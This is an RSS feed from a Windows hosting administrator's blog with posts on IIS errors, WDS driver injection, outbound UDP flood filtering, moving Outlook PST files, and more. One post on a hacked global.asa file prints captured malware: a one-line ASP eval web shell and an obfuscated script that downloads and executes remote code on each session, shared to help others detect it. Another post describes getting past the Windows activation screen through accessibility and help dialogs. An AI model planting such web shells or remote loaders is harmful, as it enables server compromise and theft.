<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LarMiB</title>
	<atom:link href="http://blog.larmib.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.larmib.com</link>
	<description>Fixes I&#039;ve found or made</description>
	<lastBuildDate>Mon, 23 Jan 2012 23:35:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<!-- xxxxxx ADH3Q0TGAexi;ADH3Q0TGAexi;1 -->	<item>
		<title>Can&#8217;t Access Windows because of Activation</title>
		<link>http://blog.larmib.com/2012/cant-access-windows-because-of-activation/</link>
		<comments>http://blog.larmib.com/2012/cant-access-windows-because-of-activation/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 23:35:26 +0000</pubDate>
		<dc:creator>larmib</dc:creator>
				<category><![CDATA[Web Hosting]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[2003]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[activation]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://blog.larmib.com/?p=201</guid>
		<description><![CDATA[Windows 2003 So I don&#8217;t normally have problems with Activation of Windows because normally my servers have access to the Internet. This was however a Hyper-V Virtual I was having a problem with. I made an image a few months ago, and brought it back up. Went to login and was &#8220;forced&#8221; to activate the [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Windows 2003</strong></p>
<p>So I don&#8217;t normally have problems with Activation of Windows because normally my servers have access to the Internet. This was however a Hyper-V Virtual I was having a problem with. I made an image a few months ago, and brought it back up. Went to login and was &#8220;forced&#8221; to activate the Virtual. That&#8217;s a little hard since it doesn&#8217;t have an IP Address assigned to it&#8217;s NIC. Let alone the fact I don&#8217;t want to call Microsoft&#8217;s Telephone number. Here&#8217;s what I did to gain access to my Virtual, so I can add the proper IP Address, and legally register my Virtual.</p>
<ol>
<li>When you get the Activation screen press Windows Key and U. Click on the &#8220;Microsoft Website&#8221; link.</li>
<li>When Internet Explorer pops up in the Address bar type c:\windows\explorer.exe and click GO, or push enter. If prompted to run explorer.exe simply click Run.</li>
<li>You now have access to your computer.</li>
</ol>
<p>&nbsp;</p>
<p><strong>Windows 2008</strong></p>
<p>Yes, I had a similar issue with Windows 2008 not wanting to let me in due to activation problems. Here&#8217;s what I did to gain access to my server. Again, I do this to gain access to our servers to make them legal when they don&#8217;t have internet access.</p>
<ol>
<li>Click on the link to get help.</li>
<li>Click on the Options menu, and choose print.</li>
<li>Choose Add Printer, and find explorer.exe, right click and choose &#8220;open&#8221;.</li>
<li>An Alternate is to use the &#8220;Ask&#8221; option and click on one of the links, then open explorer the same way you would for the 2003 options by typing c:\windows\explorer.exe.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://blog.larmib.com/2012/cant-access-windows-because-of-activation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP.Net Forcing impersonation at the Machine level.</title>
		<link>http://blog.larmib.com/2011/asp-net-forcing-impersonation-at-the-machine-level/</link>
		<comments>http://blog.larmib.com/2011/asp-net-forcing-impersonation-at-the-machine-level/#comments</comments>
		<pubDate>Fri, 09 Dec 2011 21:08:59 +0000</pubDate>
		<dc:creator>larmib</dc:creator>
				<category><![CDATA[ASP.Net]]></category>
		<category><![CDATA[IIS]]></category>
		<category><![CDATA[Web Apps]]></category>
		<category><![CDATA[Web Hosting]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[impersonation]]></category>

		<guid isPermaLink="false">http://blog.larmib.com/?p=181</guid>
		<description><![CDATA[I decided to look into impersonation a bit more and how I could force our Windows Platform to impersonate, without letting our users change it back in their web.config file. I found a good number of google searches, but nothing really stuck until I realized I could simply add in the web.config of the machine [...]]]></description>
			<content:encoded><![CDATA[<p>I decided to look into impersonation a bit more and how I could force our Windows Platform to impersonate, without letting our users change it back in their web.config file. I found a good number of google searches, but nothing really stuck until I realized I could simply add in the web.config of the machine a location, set allowOverride to &#8220;false&#8221; then tell it what to do, without users being able to modify it!</p>
<p>Here&#8217;s the line I added at the top of the web.config located at c:\windows\microsoft.net\framework\v2.0.50727\CONFIG.</p>
<pre><strong> &lt;location allowOverride="false"&gt;</strong>
<strong> &lt;system.web&gt;</strong>
<strong> &lt;identity impersonate="true"/&gt;</strong>
<strong> &lt;/system.web&gt;</strong>
<strong> &lt;/location&gt;</strong>
 &lt;location allowOverride="true"&gt;
  &lt;system.web&gt;
   &lt;securityPolicy&gt;
    &lt;trustLevel name="Full" policyFile="internal"/&gt;
    &lt;trustLevel name="High" policyFile="web_hightrust.config"/&gt;
    &lt;trustLevel name="Medium" policyFile="web_mediumtrust.config"/&gt;
    &lt;trustLevel name="Low" policyFile="web_lowtrust.config"/&gt;
    &lt;trustLevel name="Minimal" policyFile="web_minimaltrust.config"/&gt;
   &lt;/securityPolicy&gt;
   &lt;trust level="Full" originUrl=""/&gt;
  &lt;/system.web&gt;
 &lt;/location&gt;</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.larmib.com/2011/asp-net-forcing-impersonation-at-the-machine-level/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows Service Template for Visual Studio 2010 Express</title>
		<link>http://blog.larmib.com/2011/windows-service-template-for-visual-studio-2010-express/</link>
		<comments>http://blog.larmib.com/2011/windows-service-template-for-visual-studio-2010-express/#comments</comments>
		<pubDate>Tue, 11 Oct 2011 17:45:13 +0000</pubDate>
		<dc:creator>larmib</dc:creator>
				<category><![CDATA[ASP.Net]]></category>
		<category><![CDATA[Scripts]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Project Template]]></category>
		<category><![CDATA[Visual Studio 2010 Express]]></category>
		<category><![CDATA[Windows Service]]></category>

		<guid isPermaLink="false">http://blog.larmib.com/?p=171</guid>
		<description><![CDATA[I had a need to make a Windows Service, but I was using Visual Studio 2010 Express. You may notice does not come with a Windows Service template. I&#8217;m not sure why they decided not to include this template, other than they want to force people to purchase their product to get basic functionality. Little [...]]]></description>
			<content:encoded><![CDATA[<p>I had a need to make a Windows Service, but I was using Visual Studio 2010 Express. You may notice does not come with a Windows Service template. I&#8217;m not sure why they decided not to include this template, other than they want to force people to purchase their product to get basic functionality. Little do they know savvy people like you and I do google searches and figure out what we want anyway.</p>
<p>I create this template for Visual Studio 2010 Express: <a href='http://blog.larmib.com/wp-content/uploads/2011/10/Windows-Service.zip'>Windows Service</a> with a System.Timer</p>
<p>I created my template by using an existing Visual Studio 2008 (non-express) Windows Service project. I took the service, cleared out the stuff I added, then exported it.</p>
<p>To make it a template simply copy the zip file under %userprofile%\My Documents\Visual Studio 2010\Templates\ProjectTemplates\</p>
<p>If it helps let me know!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.larmib.com/2011/windows-service-template-for-visual-studio-2010-express/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>global.asa file hacked</title>
		<link>http://blog.larmib.com/2011/global-asa-file-hacked/</link>
		<comments>http://blog.larmib.com/2011/global-asa-file-hacked/#comments</comments>
		<pubDate>Tue, 04 Oct 2011 21:12:00 +0000</pubDate>
		<dc:creator>larmib</dc:creator>
				<category><![CDATA[IIS]]></category>
		<category><![CDATA[Web Hosting]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[asp error 500]]></category>
		<category><![CDATA[global.asa]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://blog.larmib.com/?p=161</guid>
		<description><![CDATA[Well more fun for me! We had an outbreak of script kiddies using the global.asa file to attempt to download and execute remote code. It turns out a few accounts had a file called style.asp in their root folder which contained a very simple method of executing commands under that account. If anyone else has [...]]]></description>
			<content:encoded><![CDATA[<p>Well more fun for me! We had an outbreak of script kiddies using the global.asa file to attempt to download and execute remote code. It turns out a few accounts had a file called style.asp in their root folder which contained a very simple method of executing commands under that account. If anyone else has a similar issue, look for *.asp files with eval in them. I hope this helps.</p>
<p>style.asp:<br />
&lt;%eval request(&#8220;seo&#8221;)%&gt;</p>
<p>global.asa:<br />
&lt;script language=&#8221;vbscript&#8221; runat=&#8221;server&#8221;&gt;<br />
&#8216;by*diao<br />
&#8216;by*aming<br />
sub Application_OnStart<br />
end sub<br />
sub Application_OnEnd<br />
end sub<br />
sub Session_OnStart<br />
url=&#8221;h&#8221;&amp;&#8221;t&#8221;&amp;&#8221;t&#8221;&amp;&#8221;p&#8221;&amp;&#8221;:&#8221;&amp;&#8221;/&#8221;&amp;&#8221;/w&#8221;&amp;&#8221;w&#8221;&amp;&#8221;w&#8221;&amp;&#8221;.&#8221;&amp;&#8221;g&#8221;&amp;&#8221;x&#8221;&amp;&#8221;t&#8221;&amp;&#8221;.&#8221;&amp;&#8221;l&#8221;&amp;&#8221;a&#8221;&amp;&#8221;/&#8221;&amp;&#8221;i&#8221;&amp;&#8221;n&#8221;&amp;&#8221;/&#8221;&amp;&#8221;p&#8221;&amp;&#8221;j&#8221;&amp;&#8221;c&#8221;&amp;&#8221;3&#8243;&amp;&#8221;.&#8221;&amp;&#8221;t&#8221;&amp;&#8221;x&#8221;&amp;&#8221;t&#8221;&amp;&#8221;"<br />
Set ObjXMLHTTP=Server.CreateObject(&#8220;MSXML2.serverXMLHTTP&#8221;)<br />
ObjXMLHTTP.Open &#8220;GET&#8221;,url,False<br />
ObjXMLHTTP.setRequestHeader &#8220;User-Agent&#8221;,url<br />
ObjXMLHTTP.send<br />
GetHtml=ObjXMLHTTP.responseBody<br />
Set ObjXMLHTTP=Nothing<br />
set objStream = Server.CreateObject(&#8220;Adodb.Stream&#8221;)<br />
objStream.Type = 1<br />
objStream.Mode =3<br />
objStream.Open<br />
objStream.Write GetHtml<br />
objStream.Position = 0<br />
objStream.Type = 2<br />
objStream.Charset = &#8220;gb2312&#8243;<br />
GetHtml = objStream.ReadText<br />
objStream.Close<br />
if instr(GetHtml,&#8221;by*aming&#8221;)&gt;0 then<br />
execute GetHtml<br />
end if<br />
end sub<br />
&#8216;sub Session_OnEnd<br />
&#8216;end sub<br />
&lt;/script&gt;</p>
<p>&nbsp;</p>
<p><strong>Update:</strong> They also add a few folders if they don&#8217;t exist. Look for /web /css /images/inc<br />
Under the /css they usually have a file called att.asp, or zelx.asp.<br />
Under /web they usually have User.aspx and zelx.asp<br />
and under /images/inc they usually have config.asp which may have the same content as style.asp &lt;%eval request(&#8220;seo&#8221;)%&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.larmib.com/2011/global-asa-file-hacked/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>IIS7 Sites get 401.2 when you go to them in a browser</title>
		<link>http://blog.larmib.com/2011/iis7-sites-get-401-2-when-you-go-to-them-in-a-browser/</link>
		<comments>http://blog.larmib.com/2011/iis7-sites-get-401-2-when-you-go-to-them-in-a-browser/#comments</comments>
		<pubDate>Tue, 09 Aug 2011 23:30:23 +0000</pubDate>
		<dc:creator>larmib</dc:creator>
				<category><![CDATA[IIS]]></category>
		<category><![CDATA[Web Hosting]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.larmib.com/?p=158</guid>
		<description><![CDATA[The 401.2 error is: You are not authorized to view this page due to invalid authentication headers. If you are getting this error, and you just happen to have used shared configuration it may be an invalid password/encryption key file. I had this issue today, we replaced an IIS7 node and copied over the config [...]]]></description>
			<content:encoded><![CDATA[<p>The 401.2 error is: You are not authorized to view this page due to invalid authentication headers. If you are getting this error, and you just happen to have used shared configuration it may be an invalid password/encryption key file.</p>
<p>I had this issue today, we replaced an IIS7 node and copied over the config from the other node, well it worked but got 401.2. So I had to go to the other node, share it&#8217;s configuration, then copied the new shared files over to the replaced node and import the new configuration files. Once I did that, the server worked as expected.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.larmib.com/2011/iis7-sites-get-401-2-when-you-go-to-them-in-a-browser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>There&#8217;s been an error reading or processing the applicationhost.config file.   Line number: 0</title>
		<link>http://blog.larmib.com/2011/theres-been-an-error-reading-or-processing-the-applicationhost-config-file-line-number-0/</link>
		<comments>http://blog.larmib.com/2011/theres-been-an-error-reading-or-processing-the-applicationhost-config-file-line-number-0/#comments</comments>
		<pubDate>Thu, 04 Aug 2011 18:00:09 +0000</pubDate>
		<dc:creator>larmib</dc:creator>
				<category><![CDATA[IIS]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Web Hosting]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.larmib.com/?p=148</guid>
		<description><![CDATA[I had a server who decided it would be fun to spit out errors in the configuration files located under C:\InetPub\temp\AppPools. The error is: &#8220;&#60;!&#8211; ERROR: There&#8217;s been an error reading or processing the applicationhost.config file. Line number: 0 Error message: Cannot read configuration file &#8211;&#62;&#8221;. That&#8217;s not good, and of course an iisreset works [...]]]></description>
			<content:encoded><![CDATA[<p>I had a server who decided it would be fun to spit out errors in the configuration files located under C:\InetPub\temp\AppPools. The error is: &#8220;&lt;!&#8211; ERROR: There&#8217;s been an error reading or processing the applicationhost.config file. Line number: 0 Error message: Cannot read configuration file &#8211;&gt;&#8221;.</p>
<p>That&#8217;s not good, and of course an iisreset works for a short period of time. Here&#8217;s how I fixed it, and there is a method to my madness so make sure you follow my steps exactly!</p>
<p>This seems to be caused by the WAS (Windows Process Activation Service). So in order to fix this here is what I did:<br />
<strong>Brief version:</strong></p>
<ol>
<li>Backup your IIS configuration.</li>
<li>Uninstall WAS. It is under Features.</li>
<li>Uninstall IIS. It&#8217;s under Roles.</li>
<li>Stop and Disable IISADMIN I don&#8217;t know why but when you uninstall IIS it doesn&#8217;t (or doesn&#8217;t always) remove or at least stop IISADMIN.</li>
<li>Install WAS again.</li>
<li>Install IIS again.</li>
<li>Restore your backed up IIS configuration.</li>
</ol>
<p><strong>Detailed version:</strong></p>
<ol>
<li><strong>Backup your IIS configuration.</strong><br />
<span style="color: #808080;"><span style="color: #999999;">Open an Administrator Command line, then run:</span><br />
<span style="color: #008000;">%windir%\system32\inetsrv\appcmd.exe add backup &#8220;backup-before-reinstall&#8221; </span></span></li>
<li><strong>Uninstall WAS. It is under Features.</strong><br />
<span style="color: #999999;">In your Administrator Comand line window, run:<br />
<span style="color: #008000;">%windir%\system32\pkgmgr.exe /uu:WAS-WindowsActivationService;WAS-ProcessModel;WAS-NetFxEnvironment;IIS-ManagementConsole;WAS-WindowsActivationService;<br />
WAS-ProcessModel;WAS-NetFxEnvironment;WAS-ConfigurationAPI</span></span></li>
<li><strong>Uninstall IIS. It&#8217;s under Roles.</strong><br />
<span style="color: #808080;">In your Administrator Comand line window, run:</span><br />
<span style="color: #008000;">%windir%\system32\pkgmgr.exe /uu:IIS-WebServerRole;IIS-WebServer;IIS-CommonHttpFeatures;IIS-StaticContent;IIS-DefaultDocument;IIS-DirectoryBrowsing;IIS-HttpErrors;IIS-HttpRedirect;IIS-ApplicationDevelopment;IIS-ASPNET;IIS-NetFxExtensibility;IIS-ASP;IIS-CGI;IIS-ISAPIExtensions;IIS-ISAPIFilter;IIS-ServerSideIncludes;IIS-HealthAndDiagnostics;IIS-HttpLogging;IIS-LoggingLibraries;IIS-RequestMonitor;IIS-HttpTracing;IIS-CustomLogging;IIS-ODBCLogging;IIS-Security;IIS-BasicAuthentication;IIS-WindowsAuthentication;IIS-DigestAuthentication;IIS-ClientCertificateMappingAuthentication;IIS-IISCertificateMappingAuthentication;IIS-URLAuthorization;IIS-RequestFiltering;IIS-IPSecurity;IIS-Performance;IIS-HttpCompressionStatic;IIS-HttpCompressionDynamic;IIS-WebServerManagementTools;IIS-ManagementConsole;IIS-ManagementScriptingTools;IIS-ManagementService;IIS-IIS6ManagementCompatibility;IIS-Metabase;IIS-WMICompatibility;IIS-LegacyScripts;IIS-LegacySnapIn</span></li>
<li><strong>Stop and Disable IISADMIN</strong> I don&#8217;t know why but when you uninstall IIS it doesn&#8217;t (or doesn&#8217;t always) remove or at least stop IISADMIN.<br />
<span style="color: #808080;"> In your Administrator Comand line window, run:</span><br />
<span style="color: #008000;"> %windir%\system32\sc.exe stop IISADMIN</span><br />
<span style="color: #008000;"> %windir%\system32\sc.exe config IISADMIN start= disabled</span></li>
<li><strong>Install WAS again.</strong><br />
<span style="color: #808080;">In your Administrator Comand line window, run:</span><br />
<span style="color: #008000;">%windir%\system32\pkgmgr.exe /iu:WAS-WindowsActivationService;WAS-ProcessModel;WAS-NetFxEnvironment</span></li>
<li><strong>Install IIS again.</strong><br />
<span style="color: #808080;">In your Administrator Comand line window, run:</span><br />
<span style="color: #008000;">%windir%\system32\pkgmgr.exe /iu:IIS-WebServerRole;IIS-WebServer;IIS-CommonHttpFeatures;IIS-StaticContent;IIS-DefaultDocument;IIS-DirectoryBrowsing;IIS-HttpErrors;IIS-HttpRedirect;IIS-ApplicationDevelopment;IIS-ASPNET;IIS-NetFxExtensibility;IIS-ASP;IIS-CGI;IIS-ISAPIExtensions;IIS-ISAPIFilter;IIS-ServerSideIncludes;IIS-HealthAndDiagnostics;IIS-HttpLogging;IIS-LoggingLibraries;IIS-RequestMonitor;IIS-HttpTracing;IIS-CustomLogging;IIS-ODBCLogging;IIS-Security;IIS-BasicAuthentication;IIS-WindowsAuthentication;IIS-DigestAuthentication;IIS-ClientCertificateMappingAuthentication;IIS-IISCertificateMappingAuthentication;IIS-URLAuthorization;IIS-RequestFiltering;IIS-IPSecurity;IIS-Performance;IIS-HttpCompressionStatic;IIS-HttpCompressionDynamic;IIS-WebServerManagementTools;IIS-ManagementConsole;IIS-ManagementScriptingTools;IIS-ManagementService;IIS-IIS6ManagementCompatibility;IIS-Metabase;IIS-WMICompatibility;IIS-LegacyScripts;IIS-LegacySnapIn</span></li>
<li>Restore your backed up IIS configuration.<br />
<span style="color: #808080;">Open an Administrator Command line, then run:</span><br />
<span style="color: #008000;">%windir%\system32\inetsrv\appcmd.exe restore backup &#8220;backup-before-reinstall&#8221;</span></li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://blog.larmib.com/2011/theres-been-an-error-reading-or-processing-the-applicationhost-config-file-line-number-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>windows deployment services (WDS)</title>
		<link>http://blog.larmib.com/2011/windows-deployment-services-wds/</link>
		<comments>http://blog.larmib.com/2011/windows-deployment-services-wds/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 22:43:20 +0000</pubDate>
		<dc:creator>larmib</dc:creator>
				<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.larmib.com/?p=130</guid>
		<description><![CDATA[So I decided to make life a little easier on the WDS server I created a few years back. First off as the years go by we get new hardware which generally means new drivers need to be added not only to the images, but also to the boot image. I&#8217;m using the Windows Vista [...]]]></description>
			<content:encoded><![CDATA[<p>So I decided to make life a little easier on the WDS server I created a few  years back. First off as the years go by we get new hardware which generally means new drivers need to be added not only to the images, but also to the boot image. I&#8217;m using the Windows Vista WinPE boot.wim so it&#8217;s mount is 2.</p>
<p>Adding Drivers to the boot image is actually simple, and easy enough to script out using a simple batch script. Here is what I did:
<ul>
<li>Add the following folder structure:
<p>C:\RemoteInstall\Boot\Default<br />
C:\RemoteInstall\Boot\Default\mount<br />
C:\RemoteInstall\Boot\Default\drivers</li>
<li>Copy your BOOT.WIM file under the folder C:\RemoteInstall\Boot\Default</li>
<li>Copy any drivers you want added to your BOOT.WIM file under the folder C:\RemoteInstall\Boot\Default\drivers</li>
<li>Create the below add-drivers.bat file C:\RemoteInstall\Boot\Default</li>
</ul>
<p><strong>add-drivers.bat</strong></p>
<div id="div_code_350" style="width: 750px; overflow:auto; position:relative;">
<pre class="brush: plain; title: ; wrap-lines: true; notranslate">
@echo off
imagex.exe /mountrw &quot;C:\RemoteInstall\Boot\Default\BOOT.WIM&quot; 2 &quot;C:\RemoteInstall\Boot\Default\mount&quot;
forfiles /P &quot;C:\RemoteInstall\Boot\Default\drivers&quot; /M *.inf /c &quot;cmd /c peimg /inf:@path &quot;&quot;C:\RemoteInstall\Boot\Default\mount\Windows&quot;&quot;&quot;
imagex /unmount /commit  &quot;C:\RemoteInstall\Boot\Default\mount&quot;
echo Now replace Boot Images ^&gt; Microsoft Windows Longhorn Setup (x86) with
echo C:\RemoteInstall\Boot\Default\BOOT.WIM
</pre>
</div>
<p>Now that we have the pxe boot image we need to make sure when we deploy our image it copies over the required drivers. To do this you need to make the following directory structure. Replace the word IMAGEGROUP with the actual Image Group name you made, replace IMAGENAME with the Image Name. The Image Name should be the name of the image file i.e. in my case xp-pro-vlk.wim so the Image Name for me is xp-pro-vlk.</p>
<p>C:\RemoteInstall\Images\IMAGEGROUP\IMAGENAME\$OEM$\$1<br />
C:\RemoteInstall\Images\IMAGEGROUP\IMAGENAME\$OEM$\$1\Drivers<br />
C:\RemoteInstall\Images\IMAGEGROUP\IMAGENAME\$OEM$\$1\Sysprep<br />
C:\RemoteInstall\Images\IMAGEGROUP\IMAGENAME\$OEM$\$1\Sysprep\i386<br />
C:\RemoteInstall\Images\IMAGEGROUP\IMAGENAME\$OEM$\$1\Sysprep\i386\$OEM$</p>
<p>Obviously under the C:\RemoteInstall\Images\IMAGEGROUP\IMAGENAME\$OEM$\$1\Drivers folder you copy all of your drivers.</p>
<p>Under C:\RemoteInstall\Images\IMAGEGROUP\IMAGENAME\$OEM$\$1\Sysprep is where you can put your custom sysprep.inf file. This lets you do some important stuff for example the following is a small part of my sysprep.inf file which tells the mini setup where to find the drivers. I just happen to use sub-folders but you do not need to:</p>
<p><strong>sysprep.inf</strong></p>
<div id="div_code_350" style="width: 750px; overflow:auto; position:relative;">
<pre class="brush: plain; title: ; wrap-lines: true; notranslate">
[Unattended]
    OemPreInstall=Yes
    OemSkipEula=Yes
    InstallFilesPath=C:\sysprep\i386
    OemPnPDriversPath=Drivers\Dell;Drivers\hp;Drivers\M61SME-S2;Drivers\GA-K8N51PVM9-RH
    DriverSigningPolicy=Ignore
    UpdateInstalledDrivers=Yes
</pre>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.larmib.com/2011/windows-deployment-services-wds/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stop Outbound UDP floods on your Windows Server 2003 or 2008</title>
		<link>http://blog.larmib.com/2011/stop-outbound-udp-floods-on-your-windows-server-2003-or-2008/</link>
		<comments>http://blog.larmib.com/2011/stop-outbound-udp-floods-on-your-windows-server-2003-or-2008/#comments</comments>
		<pubDate>Fri, 11 Feb 2011 21:31:25 +0000</pubDate>
		<dc:creator>larmib</dc:creator>
				<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.larmib.com/?p=122</guid>
		<description><![CDATA[I&#8217;ve worked in the hosting business for over 8 years and in my time I&#8217;ve never understood why we don&#8217;t just stop these wonderful &#8220;hackers&#8221; (usually just a script kiddie) from using our servers to attack others via UDP. I&#8217;ve searched google and haven&#8217;t found anything so I figured I would be the first to [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve worked in the hosting business for over 8 years and in my time I&#8217;ve never understood why we don&#8217;t just stop these wonderful &#8220;hackers&#8221; (usually just a script kiddie) from using our servers to attack others via UDP. I&#8217;ve searched google and haven&#8217;t found anything so I figured I would be the first to post my experience, and a simple how-to for those of you who want to do the same thing.</p>
<p>First off lets start with the firewall, 2008 has a more advanced firewall, but for this I need to be able to do this on both 2003 and 2008 servers. To make it easier on myself I&#8217;m using Windows IPFW. You can get it from <a href="http://sourceforge.net/projects/wipfw/files/">http://sourceforge.net/projects/wipfw/files/</a>.</p>
<p>I want my servers to basically accept everything TCP inbound and outbound, as well as UDP inbound. I want it to filter the UDP outbound only. Yes I know I can do more than just filter UDP Outbound but I don&#8217;t really care right now, and most of the outbound DDOS attacks I have gotten have generally all been UDP floods to some poor sap that pissed someone off.</p>
<p>Now the config file I put together simply contains the following:</p>
<p><code>-f flush<br />
add 100 allow all from any to any via lo*<br />
add 110 deny log all from any to 127.0.0.0/8 in<br />
add 110 deny log all from 127.0.0.0/8 to any in<br />
add check-state<br />
add 120 allow tcp from any to any<br />
add 130 allow udp from any to any in<br />
add 140 allow udp from any to x.x.x.x/y 53 out<br />
add 140 allow udp from any to x.x.x.x/y 67 out<br />
add 140 allow udp from any to x.x.x.x/y 88 out<br />
add 140 allow udp from any to x.x.x.x/y 123 out<br />
add 140 allow udp from any to x.x.x.x/y 135 out<br />
add 140 allow udp from any to x.x.x.x/y 137 out<br />
add 140 allow udp from any to x.x.x.x/y 138 out<br />
add 140 allow udp from any to x.x.x.x/y 389 out<br />
add 140 allow udp from any to x.x.x.x/y 464 out<br />
add 140 allow udp from any to x.x.x.x/y 500 out<br />
add 140 allow udp from any to x.x.x.x/y 636 out<br />
add 140 allow udp from any to x.x.x.x/y 4500 out<br />
add 140 allow udp from any to 4.2.2.0/24 53 out<br />
add 411 deny log udp from any to any out</code></p>
<p>Now that you have my wonderful code I shouldn&#8217;t have to point it out but the x.x.x.x/y is the IP Address and the subnetmask You can also use x.x.x.x:y.y.y.y as an example 10.1.0.0/24 or 10.1.0.0:255.255.255.0. Point your DNS (port 53) to an internal server or specifically to the DNS servers of your choice. I would highly recommend including GTE&#8217;s DNS servers, for some reason no matter what I have for my DNS servers PHP has a mind of it&#8217;s own and uses GTE&#8217;s DNS servers (4.2.2.2-6) . The other UDP ports are special ports I would recommend you use your network range you use for internal traffic, or if you don&#8217;t have an internal network use whatever network you need to make it only allow those ports on your network, and not externally to other networks.</p>
<p>Getting it setup should be as simple as extracting the files, copying and pasting my rules above and running the install.cmd file. I use the ip_fw_allow.sys file. Do <strong>not</strong> run the install_deny.cmd file.</p>
<p>Once that is done you should have a working, running, outbound UDP flood protection.</p>
<p>The main reason why I like this is because the traffic never leaves the host. Which means it never hits your network equipment, which means no other hosts will be effected by whomever is running the UDP flood. The only thing they can do is target your own systems and any other external DNS servers you allow. It &#8220;sucks to be them&#8221; because you won&#8217;t be taking part in their DDOS attack.</p>
<p>Let me know if you find this useful, and if you put it in practice.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.larmib.com/2011/stop-outbound-udp-floods-on-your-windows-server-2003-or-2008/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>How To Move Your Microsoft Outlook 2007 IMAP PST File</title>
		<link>http://blog.larmib.com/2011/how-to-move-your-microsoft-outlook-2007-imap-pst-file/</link>
		<comments>http://blog.larmib.com/2011/how-to-move-your-microsoft-outlook-2007-imap-pst-file/#comments</comments>
		<pubDate>Fri, 04 Feb 2011 17:49:06 +0000</pubDate>
		<dc:creator>larmib</dc:creator>
				<category><![CDATA[Microsoft Office]]></category>

		<guid isPermaLink="false">http://blog.larmib.com/?p=112</guid>
		<description><![CDATA[This is a very simple method of moving your outlook PST file from one location to another. It&#8217;s usually not recommended you do this but what the heck. I moved my PST file because my drive was running low on space, and it&#8217;s an older drive about 4 to 5 years old. With that being [...]]]></description>
			<content:encoded><![CDATA[<p>This is a very simple method of moving your outlook PST file from one location to another. It&#8217;s usually not recommended you do this but what the heck. I moved my PST file because my drive was running low on space, and it&#8217;s an older drive about 4 to 5 years old.</p>
<p>With that being said since emails are important in what I do, here&#8217;s how I moved my PST file for Microsoft Outlook 2007, and yes you can move an IMAP PST file. In fact it&#8217;s easy to do!</p>
<ol>
<li>If outlook is currently opened, please close outlook and make sure it isn&#8217;t running in the task manager. Click on START, RUN, and type taskmgr then click OK to see your tasks. Go under Processes, and click on Image Name to sort it by name and make sure you do not see OUTLOOK.EXE running. If you do wait until it is no longer listed.</li>
<li>Open your Control Panel, Generally you can get there by going to START, SETTINGS, CONTROL PANEL, It may also just be listed on your START menu.</li>
<li>Open the Mail Icon in your Control Panel. Once that is opened Click on the Data Files button.</li>
<li>If you don&#8217;t know where your PST file is now, you can simply highlight the Name of the PST file you want to move and click the Open Folder&#8230; button. Keep this window open, and move your PST file to the desired location.</li>
<li>Once you have completely moved the file Highlight the PST file you want to modify and click the Settings&#8230; button. You can also simply double click on the listing if you prefer.</li>
<li>It should say it can&#8217;t find the PST file if you did it correctly. If not it may have created a new empty PST file, rename it, then try again. You should get an open dialog window, browse to where you moved your PST file to and double click it, or highlight and select OPEN.</li>
</ol>
<p>That&#8217;s it! I know I put a lot of words in there but it&#8217;s really only a few steps, for the more technically savvy person here&#8217;s the short list:</p>
<ol>
<li>Open the Mail Icon in the Control Panel.</li>
<li>Click the Data Files button.</li>
<li>Move your PST file to the desired location.</li>
<li>Double click on the data file entry, click OK, Browse to the new PST location, and you&#8217;re done.</li>
</ol>
<p>I hope this helps someone. I know it isn&#8217;t a new thing out there, let me know if it has helped.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.larmib.com/2011/how-to-move-your-microsoft-outlook-2007-imap-pst-file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DOS Command to get the 2 Digit HOUR, Minute, and Second</title>
		<link>http://blog.larmib.com/2011/dos-command-to-get-the-2-digit-hour-minute-and-second/</link>
